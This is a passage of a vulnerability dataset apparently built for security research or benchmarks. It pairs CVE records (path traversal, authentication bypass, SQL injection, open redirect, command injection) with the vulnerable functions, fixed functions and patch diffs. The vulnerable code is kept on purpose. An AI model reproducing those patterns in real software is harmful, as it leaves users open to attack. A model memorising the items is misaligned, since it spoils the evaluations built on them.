perms)\n\n        _set_file_timestamps(dent_path, inode)\n\n    elif dent_node.type == UBIFS_ITYPE_REG:\n        try:\n            if inode['ino'].nlink > 1:\n                if 'hlink' not in inode:\n                    inode['hlink'] = dent_path\n                    buf = _process_reg_file(ubifs, inode, dent_path)\n                    _write_reg_file(dent_path, buf)\n                else:\n                    os.link(inode['hlink'], dent_path)\n                    log(extract_dents, 'Make Link: %s > %s' % (dent_path, inode['hlink']))\n            else:\n                buf = _process_reg_file(ubifs, inode, dent_path)\n                _write_reg_file(dent_path, buf)\n\n            _set_file_timestamps(dent_path, inode)\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FILE Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_LNK:\n        try:\n            # probably will need to decompress ino data if > UBIFS_MIN_COMPR_LEN\n            os.symlink('%s' % inode['ino'].data.decode('utf-8'), dent_path)\n            log(extract_dents, 'Make Symlink: %s > %s' % (dent_path, inode['ino'].data))\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SYMLINK Fail: %s' % e) \n\n    elif dent_node.type in [UBIFS_ITYPE_BLK, UBIFS_ITYPE_CHR]:\n        try:\n            dev = struct.unpack('<II', inode['ino'].data)[0]\n            if not settings.use_dummy_devices:\n                os.mknod(dent_path, inode['ino'].mode, dev)\n                log(extract_dents, 'Make Device Node: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n            else:\n                log(extract_dents, 'Create dummy device.')\n                _write_reg_file(dent_path, str(dev))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n                \n        except Exception as e:\n            error(extract_dents, 'Warn', 'DEV Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_FIFO:\n        try:\n            os.mkfifo(dent_path, inode['ino'].mode)\n            log(extract_dents, 'Make FIFO: %s' % (path))\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FIFO Fail: %s : %s' % (dent_path, e))\n\n    elif dent_node.type == UBIFS_ITYPE_SOCK:\n        try:\n            if settings.use_dummy_socket_file:\n                _write_reg_file(dent_path, '')\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SOCK Fail: %s : %s' % (dent_path, e))"}], "fix_func": [{"id": "fix_py_398_1", "commit": "d5d68e6b1b9f7070c29df5f67fc060f579ae9139", "file_path": "ubireader/ubifs/output.py", "start_line": 60, "end_line": 156, "snippet": "def extract_dents(ubifs, inodes, dent_node, path='', perms=False):\n    if dent_node.inum not in inodes:\n        error(extract_dents, 'Error', 'inum: %s not found in inodes' % (dent_node.inum))\n        return\n\n    inode = inodes[dent_node.inum]\n\n    if not is_safe_path(path, dent_node.name):\n        error(extract_dents, 'Warning', 'Path traversal attempt: %s, discarding' % (dent_node.name))\n        return\n    dent_path = os.path.realpath(os.path.join(path, dent_node.name))\n\n    if dent_node.type == UBIFS_ITYPE_DIR:\n        try:\n            if not os.path.exists(dent_path):\n                os.mkdir(dent_path)\n                log(extract_dents, 'Make Dir: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'DIR Fail: %s' % e)\n\n        if 'dent' in inode:\n            for dnode in inode['dent']:\n                extract_dents(ubifs, inodes, dnode, dent_path, perms)\n\n        _set_file_timestamps(dent_path, inode)\n\n    elif dent_node.type == UBIFS_ITYPE_REG:\n        try:\n            if inode['ino'].nlink > 1:\n                if 'hlink' not in inode:\n                    inode['hlink'] = dent_path\n                    buf = _process_reg_file(ubifs, inode, dent_path)\n                    _write_reg_file(dent_path, buf)\n                else:\n                    os.link(inode['hlink'], dent_path)\n                    log(extract_dents, 'Make Link: %s > %s' % (dent_path, inode['hlink']))\n            else:\n                buf = _process_reg_file(ubifs, inode, dent_path)\n                _write_reg_file(dent_path, buf)\n\n            _set_file_timestamps(dent_path, inode)\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FILE Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_LNK:\n        try:\n            # probably will need to decompress ino data if > UBIFS_MIN_COMPR_LEN\n            os.symlink('%s' % inode['ino'].data.decode('utf-8'), dent_path)\n            log(extract_dents, 'Make Symlink: %s > %s' % (dent_path, inode['ino'].data))\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SYMLINK Fail: %s' % e) \n\n    elif dent_node.type in [UBIFS_ITYPE_BLK, UBIFS_ITYPE_CHR]:\n        try:\n            dev = struct.unpack('<II', inode['ino'].data)[0]\n            if not settings.use_dummy_devices:\n                os.mknod(dent_path, inode['ino'].mode, dev)\n                log(extract_dents, 'Make Device Node: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n            else:\n                log(extract_dents, 'Create dummy device.')\n                _write_reg_file(dent_path, str(dev))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n                \n        except Exception as e:\n            error(extract_dents, 'Warn', 'DEV Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_FIFO:\n        try:\n            os.mkfifo(dent_path, inode['ino'].mode)\n            log(extract_dents, 'Make FIFO: %s' % (path))\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FIFO Fail: %s : %s' % (dent_path, e))\n\n    elif dent_node.type == UBIFS_ITYPE_SOCK:\n        try:\n            if settings.use_dummy_socket_file:\n                _write_reg_file(dent_path, '')\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SOCK Fail: %s : %s' % (dent_path, e))"}], "vul_patch": "--- a/ubireader/ubifs/output.py\n+++ b/ubireader/ubifs/output.py\n@@ -4,8 +4,12 @@\n         return\n \n     inode = inodes[dent_node.inum]\n-    dent_path = os.path.join(path, dent_node.name)\n-        \n+\n+    if not is_safe_path(path, dent_node.name):\n+        error(extract_dents, 'Warning', 'Path traversal attempt: %s, discarding' % (dent_node.name))\n+        return\n+    dent_path = os.path.realpath(os.path.join(path, dent_node.name))\n+\n     if dent_node.type == UBIFS_ITYPE_DIR:\n         try:\n             if not os.path.exists(dent_path):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-31606", "cve_description": "furlongm openvpn-monitor through 1.1.3 allows Authorization Bypass to disconnect arbitrary clients.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/furlongm/openvpn-monitor", "patch_url": ["https://github.com/furlongm/openvpn-monitor/commit/ddb9d31ef0ec56f578bdacf99ebe9d68455ed8ca"], "programing_language": "Python", "vul_func": [{"id": "vul_py_111_1", "commit": "304203f", "file_path": "openvpn-monitor.py", "start_line": 178, "end_line": 215, "snippet": "    def __init__(self, cfg, **kwargs):\n        self.vpns = cfg.vpns\n\n        if kwargs.get('vpn_id'):\n            vpn = self.vpns[kwargs['vpn_id']]\n            self._socket_connect(vpn)\n            if vpn['socket_connected']:\n                release = self.send_command('version\\n')\n                version = semver(self.parse_version(release).split(' ')[1])\n                if version.major == 2 and \\\n                        version.minor >= 4 and \\\n                        kwargs.get('client_id'):\n                    command = 'client-kill {0!s}\\n'.format(kwargs['client_id'])\n                else:\n                    command = 'kill {0!s}:{1!s}\\n'.format(kwargs['ip'], kwargs['port'])\n                self.send_command(command)\n                self._socket_disconnect()\n\n        geoip_data = cfg.settings['geoip_data']\n        self.geoip_version = None\n        self.gi = None\n        try:\n            if geoip_data.endswith('.mmdb') and geoip2_available:\n                self.gi = database.Reader(geoip_data)\n                self.geoip_version = 2\n            elif geoip_data.endswith('.dat') and geoip1_available:\n                self.gi = geoip1.open(geoip_data, geoip1.GEOIP_STANDARD)\n                self.geoip_version = 1\n            else:\n                warning('No compatible geoip1 or geoip2 data/libraries found.')\n        except IOError:\n            warning('No compatible geoip1 or geoip2 data/libraries found.')\n\n        for _, vpn in list(self.vpns.items()):\n            self._socket_connect(vpn)\n            if vpn['socket_connected']:\n                self.collect_data(vpn)\n                self._socket_disconnect()"}], "fix_func": [{"id": "fix_py_111_1", "commit": "ddb9d31", "file_path": "openvpn-monitor.py", "start_line": 178, "end_line": 223, "snippet": "    def __init__(self, cfg, **kwargs):\n        self.vpns = cfg.vpns\n\n        if kwargs.get('vpn_id'):\n            vpn = self.vpns[kwargs['vpn_id']]\n            disconnection_allowed = vpn['show_disconnect']\n            if disconnection_allowed:\n                self._socket_connect(vpn)\n                if vpn['socket_connected']:\n                    release = self.send_command('version\\n')\n                    version = semver(self.parse_version(release).split(' ')[1])\n                    command = False\n                    client_id = int(kwargs.get('client_id'))\n                    if version.major == 2 and \\\n                            version.minor >= 4 and \\\n                            client_id:\n                        command = 'client-kill {0!s}\\n'.format(client_id)\n                    else:\n                        ip = ip_address(kwargs['ip'])\n                        port = int(kwargs['port'])\n                        if ip and port:\n                            command = 'kill {0!s}:{1!s}\\n'.format(ip, port)\n                    if command:\n                        self.send_command(command)\n                    self._socket_disconnect()\n\n        geoip_data = cfg.settings['geoip_data']\n        self.geoip_version = None\n        self.gi = None\n        try:\n            if geoip_data.endswith('.mmdb') and geoip2_available:\n                self.gi = database.Reader(geoip_data)\n                self.geoip_version = 2\n            elif geoip_data.endswith('.dat') and geoip1_available:\n                self.gi = geoip1.open(geoip_data, geoip1.GEOIP_STANDARD)\n                self.geoip_version = 1\n            else:\n                warning('No compatible geoip1 or geoip2 data/libraries found.')\n        except IOError:\n            warning('No compatible geoip1 or geoip2 data/libraries found.')\n\n        for _, vpn in list(self.vpns.items()):\n            self._socket_connect(vpn)\n            if vpn['socket_connected']:\n                self.collect_data(vpn)\n                self._socket_disconnect()"}], "vul_patch": "--- a/openvpn-monitor.py\n+++ b/openvpn-monitor.py\n@@ -3,18 +3,26 @@\n \n         if kwargs.get('vpn_id'):\n             vpn = self.vpns[kwargs['vpn_id']]\n-            self._socket_connect(vpn)\n-            if vpn['socket_connected']:\n-                release = self.send_command('version\\n')\n-                version = semver(self.parse_version(release).split(' ')[1])\n-                if version.major == 2 and \\\n-                        version.minor >= 4 and \\\n-                        kwargs.get('client_id'):\n-                    command = 'client-kill {0!s}\\n'.format(kwargs['client_id'])\n-                else:\n-                    command = 'kill {0!s}:{1!s}\\n'.format(kwargs['ip'], kwargs['port'])\n-                self.send_command(command)\n-                self._socket_disconnect()\n+            disconnection_allowed = vpn['show_disconnect']\n+            if disconnection_allowed:\n+                self._socket_connect(vpn)\n+                if vpn['socket_connected']:\n+                    release = self.send_command('version\\n')\n+                    version = semver(self.parse_version(release).split(' ')[1])\n+                    command = False\n+                    client_id = int(kwargs.get('client_id'))\n+                    if version.major == 2 and \\\n+                            version.minor >= 4 and \\\n+                            client_id:\n+                        command = 'client-kill {0!s}\\n'.format(client_id)\n+                    else:\n+                        ip = ip_address(kwargs['ip'])\n+                        port = int(kwargs['port'])\n+                        if ip and port:\n+                            command = 'kill {0!s}:{1!s}\\n'.format(ip, port)\n+                    if command:\n+                        self.send_command(command)\n+                    self._socket_disconnect()\n \n         geoip_data = cfg.settings['geoip_data']\n         self.geoip_version = None\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10023", "cve_description": "A vulnerability classified as critical has been found in Fumon trello-octometric. This affects the function main of the file metrics-ui/server/srv.go. The manipulation of the argument num leads to sql injection. The patch is named a1f1754933fbf21e2221fbc671c81a47de6a04ef. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-217611.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/Fumon/trello-octometric", "patch_url": ["https://github.com/Fumon/trello-octometric/commit/a1f1754933fbf21e2221fbc671c81a47de6a04ef"], "programing_language": "Go", "vul_func": [{"id": "vul_go_212_1", "commit": "5de98cd", "file_path": "metrics-ui/server/srv.go", "start_line": 22, "end_line": 106, "snippet": "func main() {\n\tlog.Println(\"[i] Server started\")\n\n\t// Connect to DB\n\tdb, err := sql.Open(\"postgres\", \"user=appread dbname='quantifiedSelf' sslmode=disable\")\n\tfailOnError(err, \"Error connecting to database\")\n\tdefer db.Close()\n\n\thttp.HandleFunc(\"/data/all/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// TODO: Allow filtering via URL\n\t\t// Get rows from DB\n\t\tvar output string\n\t\terr := db.QueryRow(`SELECT json_agg(r) FROM (SELECT * FROM trello.cards) r;`).Scan(&output)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tfmt.Fprint(w, output)\n\t})\n\n\t// Restful handler\n\tr := mux.NewRouter()\n\tr.HandleFunc(\"/api\", func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintln(w, \"dla;jfkdlsajflkdsa;jfk;ldsajfklds;a\")\n\t})\n\n\tr.HandleFunc(\"/api/totals/last/{num}\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Grab vars\n\t\tvars := mux.Vars(r)\n\n\t\tvar output string\n\t\t// This is bad... don't do this.... omg\n\t\tquery := fmt.Sprintf(`SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, end_of_day_total from trello.dailytallies order by day DESC limit %s) r;`, vars[\"num\"])\n\t\terr := db.QueryRow(query).Scan(&output)\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprint(w, output)\n\t})\n\n\tr.HandleFunc(\"/api/diffs/last/{num}\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Grab vars\n\t\tvars := mux.Vars(r)\n\n\t\tvar output string\n\t\t// This is bad... don't do this.... omg\n\t\tquery := fmt.Sprintf(`SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, up_count, down_count, finished_count from trello.dailytallies order by day DESC limit %s) r;`, vars[\"num\"])\n\t\terr := db.QueryRow(query).Scan(&output)\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprint(w, output)\n\t})\n\tr.PathPrefix(\"/\").Handler(http.FileServer(http.Dir(\"../ui\")))\n\thttp.Handle(\"/\", r)\n\n\t// Die gracefully\n\t// killchan := make(chan os.Signal)\n\t// signal.Notify(killchan, os.Interrupt, os.Kill)\n\n\tlog.Println(\"[i] Serving on \", servport, \"\\n\\tWaiting...\")\n\n\tlog.Fatal(http.ListenAndServe(servport, nil))\n\t// <-killchan\n\n\tlog.Println(\"[i] Shutting down...\")\n}"}], "fix_func": [{"id": "fix_go_212_1", "commit": "a1f1754933fbf21e2221fbc671c81a47de6a04ef", "file_path": "metrics-ui/server/srv.go", "start_line": 23, "end_line": 106, "snippet": "\tlog.Println(\"[i] Server started\")\n\n\t// Connect to DB\n\tdb, err := sql.Open(\"postgres\", \"user=appread dbname='quantifiedSelf' sslmode=disable\")\n\tfailOnError(err, \"Error connecting to database\")\n\tdefer db.Close()\n\n\thttp.HandleFunc(\"/data/all/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// TODO: Allow filtering via URL\n\t\t// Get rows from DB\n\t\tvar output string\n\t\terr := db.QueryRow(`SELECT json_agg(r) FROM (SELECT * FROM trello.cards) r;`).Scan(&output)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tfmt.Fprint(w, output)\n\t})\n\n\t// Restful handler\n\tr := mux.NewRouter()\n\tr.HandleFunc(\"/api\", func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintln(w, \"dla;jfkdlsajflkdsa;jfk;ldsajfklds;a\")\n\t})\n\n\tr.HandleFunc(\"/api/totals/last/{num}\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Grab vars\n\t\tvars := mux.Vars(r)\n\n\t\tvar output string\n\t\t// This is bad... don't do this.... omg\n\t\tquery := `SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, end_of_day_total from trello.dailytallies order by day DESC limit $1) r;`\n\t\terr := db.QueryRow(query, vars[\"num\"]).Scan(&output)\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprint(w, output)\n\t})\n\n\tr.HandleFunc(\"/api/diffs/last/{num}\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Grab vars\n\t\tvars := mux.Vars(r)\n\n\t\tvar output string\n\t\t// This is bad... don't do this.... omg\n\t\tquery := `SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, up_count, down_count, finished_count from trello.dailytallies order by day DESC limit $1) r;`\n\t\terr := db.QueryRow(query, vars[\"num\"]).Scan(&output)\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error retriving from DB, \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintln(w, \"Error retriving from DB, \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Print out returned\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprint(w, output)\n\t})\n\tr.PathPrefix(\"/\").Handler(http.FileServer(http.Dir(\"../ui\")))\n\thttp.Handle(\"/\", r)\n\n\t// Die gracefully\n\t// killchan := make(chan os.Signal)\n\t// signal.Notify(killchan, os.Interrupt, os.Kill)\n\n\tlog.Println(\"[i] Serving on \", servport, \"\\n\\tWaiting...\")\n\n\tlog.Fatal(http.ListenAndServe(servport, nil))\n\t// <-killchan\n\n\tlog.Println(\"[i] Shutting down...\")\n}"}], "vul_patch": "--- a/metrics-ui/server/srv.go\n+++ b/metrics-ui/server/srv.go\n@@ -1,4 +1,3 @@\n-func main() {\n \tlog.Println(\"[i] Server started\")\n \n \t// Connect to DB\n@@ -34,8 +33,8 @@\n \n \t\tvar output string\n \t\t// This is bad... don't do this.... omg\n-\t\tquery := fmt.Sprintf(`SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, end_of_day_total from trello.dailytallies order by day DESC limit %s) r;`, vars[\"num\"])\n-\t\terr := db.QueryRow(query).Scan(&output)\n+\t\tquery := `SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, end_of_day_total from trello.dailytallies order by day DESC limit $1) r;`\n+\t\terr := db.QueryRow(query, vars[\"num\"]).Scan(&output)\n \n \t\tif err != nil {\n \t\t\tlog.Println(\"Error retriving from DB, \", err)\n@@ -55,8 +54,8 @@\n \n \t\tvar output string\n \t\t// This is bad... don't do this.... omg\n-\t\tquery := fmt.Sprintf(`SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, up_count, down_count, finished_count from trello.dailytallies order by day DESC limit %s) r;`, vars[\"num\"])\n-\t\terr := db.QueryRow(query).Scan(&output)\n+\t\tquery := `SELECT json_agg(r) FROM (select EXTRACT(epoch FROM day) as day, up_count, down_count, finished_count from trello.dailytallies order by day DESC limit $1) r;`\n+\t\terr := db.QueryRow(query, vars[\"num\"]).Scan(&output)\n \n \t\tif err != nil {\n \t\t\tlog.Println(\"Error retriving from DB, \", err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-5233", "cve_description": "OAuth2 Proxy before 5.0 has an open redirect vulnerability. Authentication tokens could be silently harvested by an attacker. This has been patched in version 5.0.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/oauth2-proxy/oauth2_proxy", "patch_url": ["https://github.com/oauth2-proxy/oauth2_proxy/commit/a316f8a06f3c0ca2b5fc5fa18a91781b313607b2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_244_1", "commit": "fc59a6d683cad00ca658c215511566c2d4ca3cf5", "file_path": "oauthproxy.go", "start_line": 559, "end_line": 594, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\"):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn false\n\tdefault:\n\t\treturn false\n\t}\n}"}], "fix_func": [{"id": "fix_go_244_1", "commit": "a316f8a06f3c0ca2b5fc5fa18a91781b313607b2", "file_path": "oauthproxy.go", "start_line": 559, "end_line": 594, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn false\n\tdefault:\n\t\treturn false\n\t}\n}"}], "vul_patch": "--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -1,6 +1,6 @@\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n \tswitch {\n-\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\"):\n+\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n \t\treturn true\n \tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n \t\tredirectURL, err := url.Parse(redirect)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-25923", "cve_description": "Versions of the package exec-local-bin before 1.2.0 are vulnerable to Command Injection via the theProcess() functionality due to improper user-input sanitization.\r\r", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/saeedseyfi/exec-local-bin", "patch_url": ["https://github.com/saeedseyfi/exec-local-bin/commit/d425866375c85038133a6f79db2aac66c0a72624"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_144_1", "commit": "92db00b", "file_path": "index.js", "start_line": 1, "end_line": 26, "snippet": "const exec = require('child_process').exec;\n\nmodule.exports = async function (bin, options) {\n    return new Promise((resolve, reject) => {\n        const cmd = `${process.cwd()}/node_modules/.bin/${bin}`;\n\n        console.log(`Running \\`${cmd}\\``);\n\n        const theProcess = exec(cmd, options, (error, stdout, stderr) => {\n            if (stderr) {\n                reject(error);\n                return;\n            }\n\n            resolve(stdout);\n        });\n\n        theProcess.stdout.on('data', (data) => {\n            process.stdout.write(data.toString());\n        });\n\n        theProcess.stderr.on('data', (data) => {\n            process.stdout.write(data.toString());\n        });\n    });\n};"}], "fix_func": [{"id": "fix_js_144_1", "commit": "d425866", "file_path": "index.js", "start_line": 1, "end_line": 41, "snippet": "const exec = require('child_process').exec;\nconst fs = require('fs');\nconst path = require('path');\n\nmodule.exports = async function (bin, options) {\n    return new Promise(async (resolve, reject) => {\n        const binDir = `${process.cwd()}/node_modules/.bin`;\n        const cmd = path.join(binDir, bin);\n\n        if (!cmd.startsWith(binDir)) {\n            reject(new Error(`${cmd} within the expected directory`));\n            return;\n        }\n\n        try {\n            await fs.access(cmd, fs.constants.X_OK);\n        } catch (err) {\n            reject(new Error(`${cmd} is not accessible: ${err.message}`));\n            return;\n        }\n\n        console.log(`Running \\`${cmd}\\``);\n\n        const theProcess = exec(cmd, options, (error, stdout, stderr) => {\n            if (stderr) {\n                reject(error);\n                return;\n            }\n\n            resolve(stdout);\n        });\n\n        theProcess.stdout.on('data', (data) => {\n            process.stdout.write(data.toString());\n        });\n\n        theProcess.stderr.on('data', (data) => {\n            process.stdout.write(data.toString());\n        });\n    });\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,8 +1,23 @@\n const exec = require('child_process').exec;\n+const fs = require('fs');\n+const path = require('path');\n \n module.exports = async function (bin, options) {\n-    return new Promise((resolve, reject) => {\n-        const cmd = `${process.cwd()}/node_modules/.bin/${bin}`;\n+    return new Promise(async (resolve, reject) => {\n+        const binDir = `${process.cwd()}/node_modules/.bin`;\n+        const cmd = path.join(binDir, bin);\n+\n+        if (!cmd.startsWith(binDir)) {\n+            reject(new Error(`${cmd} within the expected directory`));\n+            return;\n+        }\n+\n+        try {\n+            await fs.access(cmd, fs.constants.X_OK);\n+        } catch (err) {\n+            reject(new Error(`${cmd} is not accessible: ${err.message}`));\n+            return;\n+        }\n \n         console.log(`Running \\`${cmd}\\``);\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-52787", "cve_description": "An issue in the upload_documents method of libre-chat v0.0.6 allows attackers to execute a path traversal via supplying a crafted filename in an uploaded file.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/vemonet/libre-chat", "patch_url": ["https://github.com/vemonet/libre-chat/commit/dbb8e3400e5258112179783d74c9cc54310cb72b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_274_1", "commit": "84b9288", "file_path": "src/libre_chat/router.py", "start_line": 113, "end_line": 142, "snippet": "        def upload_documents(\n            files: List[UploadFile] = File(...),\n            admin_pass: Optional[str] = None,\n            # current_user: User = Depends(get_current_user),\n        ) -> JSONResponse:\n            